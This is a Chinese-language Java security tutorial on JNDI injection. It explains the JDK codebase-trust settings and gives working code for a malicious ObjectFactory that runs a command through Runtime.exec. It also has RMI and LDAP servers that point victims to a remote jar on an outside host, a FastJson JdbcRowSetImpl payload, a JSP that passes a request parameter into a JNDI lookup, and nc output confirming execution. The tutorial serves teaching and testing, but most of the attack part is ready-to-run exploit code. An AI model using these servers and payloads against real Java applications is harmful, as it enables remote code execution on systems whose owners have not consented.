JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引用安全限制

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

  1. System.setProperty("java.rmi.server.useCodebaseOnly", "false");
  2. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
LDAPJDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false
高版本JDK可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

使用创建恶意的ObjectFactory对象

JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。
对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
ReferenceObjectFactory示例代码:

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.Context;
  3. import javax.naming.Name;
  4. import javax.naming.spi.ObjectFactory;
  5. import java.util.Hashtable;
  6. /**
  7. * 引用对象创建工厂
  8. */
  9. public class ReferenceObjectFactory implements ObjectFactory {
  10. /**
  11. * @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
  12. * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
  13. * @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
  14. * @param env 创建对象时使用的环境(可能为 null)。
  15. * @return 对象工厂创建出的对象
  16. * @throws Exception 对象创建异常
  17. */
  18. public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
  19. // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
  20. return Runtime.getRuntime().exec("curl localhost:9000");
  21. }
  22. }

创建恶意的RMI服务

如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的RMI服务端代码:**

  1. package com.anbai.sec.jndi.injection;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.Naming;
  5. import java.rmi.registry.LocateRegistry;
  6. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  7. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  8. /**
  9. * Creator: yz
  10. * Date: 2019/12/25
  11. */
  12. public class RMIReferenceServerTest {
  13. public static void main(String[] args) {
  14. try {
  15. // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
  16. String url = "http://p2j.cn/tools/jndi-test.jar";
  17. // 对象的工厂类名
  18. String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
  19. // 监听RMI服务端口
  20. LocateRegistry.createRegistry(RMI_PORT);
  21. // 创建一个远程的JNDI对象工厂类的引用对象
  22. Reference reference = new Reference(className, className, url);
  23. // 转换为RMI引用对象
  24. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  25. // 绑定一个恶意的Remote对象到RMI服务
  26. Naming.bind(RMI_NAME, referenceWrapper);
  27. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  28. } catch (Exception e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }

程序运行结果:

  1. RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。

用nc监听端口:

  1. nc -vv -l 9000

RMI客户端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  5. /**
  6. * Creator: yz
  7. * Date: 2019/12/25
  8. */
  9. public class RMIReferenceClientTest {
  10. public static void main(String[] args) {
  11. try {
  12. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  13. // System.setProperty("java.rmi.server.useCodebaseOnly", "false");
  14. // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
  15. InitialContext context = new InitialContext();
  16. // 获取RMI绑定的恶意ReferenceWrapper对象
  17. Object obj = context.lookup(RMI_NAME);
  18. System.out.println(obj);
  19. } catch (NamingException e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

程序运行结果:

  1. Process[pid=8634, exitValue="not exited"]

客户端执行成功后可以在nc中看到来自客户端的curl请求:

  1. GET / HTTP/1.1
  2. Host: localhost:9000
  3. User-Agent: curl/7.64.1
  4. Accept: */*

上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。

创建恶意的LDAP服务

LDAPRMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
包含恶意攻击的LDAP服务端代码:

  1. package com.anbai.sec.jndi.injection;
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  7. import com.unboundid.ldap.sdk.Entry;
  8. import com.unboundid.ldap.sdk.LDAPResult;
  9. import com.unboundid.ldap.sdk.ResultCode;
  10. import javax.net.ServerSocketFactory;
  11. import javax.net.SocketFactory;
  12. import javax.net.ssl.SSLSocketFactory;
  13. import java.net.InetAddress;
  14. public class LDAPReferenceServerTest {
  15. // 设置LDAP服务端口
  16. public static final int SERVER_PORT = 3890;
  17. // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
  18. public static final String BIND_HOST = "127.0.0.1";
  19. // 设置一个实体名称
  20. public static final String LDAP_ENTRY_NAME = "test";
  21. // 获取LDAP服务地址
  22. public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
  23. // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
  24. public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";
  25. // 设置LDAP基底DN
  26. private static final String LDAP_BASE = "dc=javasec,dc=org";
  27. public static void main(String[] args) {
  28. try {
  29. // 创建LDAP配置对象
  30. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  31. // 设置LDAP监听配置信息
  32. config.setListenerConfigs(new InMemoryListenerConfig(
  33. "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
  34. ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
  35. (SSLSocketFactory) SSLSocketFactory.getDefault())
  36. );
  37. // 添加自定义的LDAP操作拦截器
  38. config.addInMemoryOperationInterceptor(new OperationInterceptor());
  39. // 创建LDAP服务对象
  40. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  41. // 启动服务
  42. ds.startListening();
  43. System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
  44. } catch (Exception e) {
  45. e.printStackTrace();
  46. }
  47. }
  48. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  49. @Override
  50. public void processSearchResult(InMemoryInterceptedSearchResult result) {
  51. String base = result.getRequest().getBaseDN();
  52. Entry entry = new Entry(base);
  53. try {
  54. // 设置对象的工厂类名
  55. String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
  56. entry.addAttribute("javaClassName", className);
  57. entry.addAttribute("javaFactory", className);
  58. // 设置远程的恶意引用对象的jar地址
  59. entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
  60. // 设置LDAP objectClass
  61. entry.addAttribute("objectClass", "javaNamingReference");
  62. result.sendSearchEntry(entry);
  63. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  64. } catch (Exception e1) {
  65. e1.printStackTrace();
  66. }
  67. }
  68. }
  69. }

程序运行结果:

  1. LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test


LDAP客户端代码:**

  1. package com.anbai.sec.jndi.injection;
  2. import javax.naming.Context;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;
  6. /**
  7. * Creator: yz
  8. * Date: 2019/12/27
  9. */
  10. public class LDAPReferenceClientTest {
  11. public static void main(String[] args) {
  12. try {
  13. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  14. // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  15. Context ctx = new InitialContext();
  16. // 获取RMI绑定的恶意ReferenceWrapper对象
  17. Object obj = ctx.lookup(LDAP_URL);
  18. System.out.println(obj);
  19. } catch (NamingException e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }

JNDI注入漏洞利用

2016年BlackHat大会上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf提到了包括RMILDAPCORBAJNDI注入方式攻击方式被广泛的利用于近年来的各种JNDI注入漏洞。
触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。
示例代码:

  1. Context ctx = new InitialContext();
  2. // 获取RMI绑定的恶意ReferenceWrapper对象
  3. Object obj = ctx.lookup("注入JNDI服务URL");

我们只需间接的找到调用了JNDIlookup方法的类且lookupURL可被我们恶意控制的后端接口或者服务即可利用。

FastJson 反序列化JNDI注入示例

比较典型的漏洞有FastJsonJNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE
JdbcRowSetImpl示例:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
  3. <%
  4. JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  5. jdbcRowSet.setDataSourceName(request.getParameter("url"));
  6. jdbcRowSet.setAutoCommit(true);
  7. %>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

  1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
  2. 反射调用setDataSourceName方法,设置JNDIURL
  3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
  • 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
  • 执行恶意的类对象工厂方法实现RCE。

FastJson JdbcRowSetImpl Payload:

  1. {
  2. "@type": "com.sun.rowset.JdbcRowSetImpl",
  3. "dataSourceName": "ldap://127.0.0.1:3890/test",
  4. "autoCommit": "true"
  5. }

FastJson JNDI测试代码:

  1. package com.anbai.sec.jndi.injection;
  2. import com.alibaba.fastjson.JSON;
  3. /**
  4. * Creator: yz
  5. * Date: 2019/12/28
  6. */
  7. public class FastJsonRCETest {
  8. public static void main(String[] args) {
  9. // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
  10. // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  11. String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";
  12. Object obj = JSON.parse(json);
  13. System.out.println(obj);
  14. }
  15. }

序执行后nc会接收到本机的curl请求表明漏洞已利用成功:

  1. GET / HTTP/1.1
  2. Host: localhost:9000
  3. User-Agent: curl/7.64.1
  4. Accept: */*